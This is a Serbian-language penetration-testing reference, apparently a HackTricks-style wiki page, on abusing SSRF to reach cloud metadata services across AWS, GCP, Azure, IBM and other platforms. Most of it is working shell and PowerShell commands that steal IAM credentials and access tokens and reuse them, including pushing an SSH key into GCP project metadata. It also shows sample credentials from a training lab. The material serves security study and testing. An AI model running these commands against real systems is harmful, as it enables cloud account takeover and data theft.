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Cloud SSRF

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Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

AWS

Zloupotreba SSRF-a u AWS EC2 okruženju

Metadata endpoint može biti pristupačan sa bilo kog EC2 mašine i nudi zanimljive informacije o njoj. Dostupan je na adresi: http://169.254.169.254 (informacije o metapodacima ovde).

Postoje 2 verzije metadata endpointa. Prva verzija omogućava pristup endpointu putem GET zahteva (tako da ga bilo koji SSRF može iskoristiti). Za verziju 2, IMDSv2, morate zatražiti token slanjem PUT zahteva sa HTTP zaglavljem i zatim koristiti taj token za pristup metapodacima sa drugim HTTP zaglavljem (tako da je komplikovanije zloupotrebiti sa SSRF-om).

{% hint style="danger" %} Imajte na umu da ako EC2 instanca primenjuje IMDSv2, prema dokumentaciji, odgovor na PUT zahtev će imati limit skoka od 1, što onemogućava pristup metapodacima EC2 iz kontejnera unutar EC2 instance.

Osim toga, IMDSv2 će takođe blokirati zahteve za dobijanje tokena koji uključuju zaglavlje X-Forwarded-For. Ovo je kako bi se sprečilo da netačno konfigurisani obrnuti proxy serveri mogu pristupiti tome. {% endhint %}

Možete pronaći informacije o metadata endpointima u dokumentaciji. U sledećem skriptu se dobijaju neke zanimljive informacije iz njega:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Kao primer izloženih IAM kredencijala koji su javno dostupni, možete posetiti: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Takođe možete proveriti javne EC2 bezbednosne kredencijale na: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Zatim možete koristiti te kredencijale sa AWS CLI. To će vam omogućiti da radite sve što ta uloga ima dozvole da radi.

Da biste iskoristili nove kredencijale, moraćete da kreirate novi AWS profil kao ovaj:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Primetite aws_session_token, to je neophodno da bi profil radio.

PACU se može koristiti sa otkrivenim pristupnim podacima kako bi se saznale vaše privilegije i pokušalo eskalirati privilegije

SSRF u AWS ECS (Container Service) pristupnim podacima

ECS, je logička grupa EC2 instanci na kojima možete pokrenuti aplikaciju bez potrebe da skalirate svoju sopstvenu infrastrukturu za upravljanje klasterima jer ECS to upravlja umesto vas. Ako uspete da kompromitujete servis koji se izvršava u ECS, metadata endpointi se menjaju.

Ako pristupite http://169.254.170.2/v2/credentials/<GUID> pronaći ćete pristupne podatke ECS mašine. Ali prvo morate pronaći <GUID>. Da biste pronašli <GUID> morate pročitati environ promenljivu AWS_CONTAINER_CREDENTIALS_RELATIVE_URI unutar mašine.
Možda ćete moći da je pročitate eksploatišući Path Traversal do file:///proc/self/environ
Pomenuta http adresa trebalo bi da vam pruži AccessKey, SecretKey i token.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

{% hint style="info" %} Imajte na umu da u nekim slučajevima možete pristupiti EC2 metapodacima iz kontejnera (proverite ograničenja IMDSv2 TTL navedena ranije). U ovim scenarijima iz kontejnera možete pristupiti i ulozi IAM kontejnera i ulozi EC2. {% endhint %}

SSRF za AWS Lambda

U ovom slučaju, poverljivi podaci se čuvaju u env promenljivama. Dakle, da biste im pristupili, morate pristupiti nečemu poput file:///proc/self/environ.

Nazivi zanimljivih env promenljivih su:

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

Pored IAM akreditiva, Lambda funkcije takođe imaju podatke događaja koji se prosleđuju funkciji prilikom pokretanja. Ovi podaci su dostupni funkciji putem interfejsa za izvršavanje i mogu sadržati poverljive informacije (kao unutar stageVariables). Za razliku od IAM akreditiva, ovi podaci su dostupni putem standardnog SSRF-a na http://localhost:9001/2018-06-01/runtime/invocation/next.

{% hint style="warning" %} Imajte na umu da su akreditivi lambda funkcija unutar env promenljivih. Dakle, ako stek trag koda lambda funkcije štampa env promenljive, moguće je izvući ih izazivajući grešku u aplikaciji. {% endhint %}

SSRF URL za AWS Elastic Beanstalk

Dobijamo accountId i region iz API-ja.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Zatim dobijamo AccessKeyId, SecretAccessKey i Token sa API-ja.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Zatim koristimo pristupne podatke sa aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Možete ovde pronaći dokumentaciju o krajnjim tačkama metapodataka.

SSRF URL za Google Cloud

Zahteva HTTP zaglavlje Metadata-Flavor: Google i možete pristupiti krajnjoj tački metapodataka sa sledećim URL-ovima:

Interesantne tačke za izvlačenje informacija:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do
echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"

Beta trenutno NE zahteva zaglavlje (hvala Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

{% hint style="danger" %} Da biste koristili token za servisni nalog koji je eksfiltriran, jednostavno možete:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

{% endhint %}

Dodaj SSH ključ

Izvuci token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Proverite opseg tokena (sa prethodnim izlazom ili pokretanjem sledećeg)

curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  {
"issued_to": "101302079XXXXX",
"audience": "10130207XXXXX",
"scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring",
"expires_in": 2443,
"access_type": "offline"
}

Sada gurnite SSH ključ.

{% code overflow="wrap" %}

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata"
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA"
-H "Content-Type: application/json"
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

{% endcode %}

Cloud Functions

Metadata endpoint radi na isti način kao i kod VM-ova, ali bez nekih endpointa:

# /project
# Project name and number
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id

# /instance
# ID
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# Auto MTLS config
curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do
echo "  Name: $sa"
echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
echo "  ==============  "
done

Digital Ocean

{% hint style="warning" %} Nema stvari poput AWS uloga ili GCP servisnog naloga, stoga nemojte očekivati da pronađete metapodatke o akreditacijama {% endhint %}

Dokumentacija dostupna na https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Dokumentacija ovde.

Mora sadržati zaglavlje Metadata: true
Ne sme sadržati zaglavlje X-Forwarded-For

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{% endcode %} {% endtab %}

{% tab title="PS" %}

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure App Service

Iz env možete dobiti vrednosti IDENTITY_HEADER i IDENTITY_ENDPOINT. To možete koristiti da biste prikupili token za komunikaciju sa serverom metapodataka.

Većinu vremena, želite token za jedan od ovih resursa:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"

# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
+ CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
+ FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

{% hint style="warning" %} Imajte na umu da u IBM-u podrazumevano nije omogućen metapodaci, tako da je moguće da im nećete moći pristupiti čak i ako ste unutar IBM-ovog cloud VM-a. {% endhint %}

{% code overflow="wrap" %}

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
-H "Metadata-Flavor: ibm"\
-H "Accept: application/json"\
-d '{
"expires_in": 3600
}' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

{% endcode %}

Dokumentacija za različite platforme metadata servisa je detaljno opisana u nastavku, ističući metode putem kojih se može pristupiti konfiguracionim i informacijama o izvršavanju instanci. Svaka platforma nudi jedinstvene endpointe za pristup svojim metadata servisima.

Packetcloud

Za pristup metapodacima Packetcloud-a, dokumentacija se može pronaći na: https://metadata.packet.net/userdata

OpenStack/RackSpace

Nije navedena potreba za zaglavljem. Metapodaci se mogu pristupiti putem:

http://169.254.169.254/openstack

HP Helion

Ni ovde nije navedena potreba za zaglavljem. Metapodaci su dostupni na:

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

Oracle Cloud pruža niz endpointa za pristup različitim aspektima metapodataka:

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibaba nudi endpointe za pristup metapodacima, uključujući instance i ID slike:

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Kubernetes ETCD može sadržati API ključeve, interne IP adrese i portove. Pristup je prikazan putem:

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker metapodaci mogu se pristupiti lokalno, sa primerima za dobijanje informacija o kontejnerima i slikama:

Jednostavan primer za pristup metapodacima kontejnera i slika putem Docker socketa:
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
Unutar kontejnera, koristite curl sa Docker socketom:
curl --unix-socket /var/run/docker.sock http://foo/containers/json
curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Metapodaci Rancher-a mogu se pristupiti korišćenjem:

curl http://rancher-metadata/<version>/<path>

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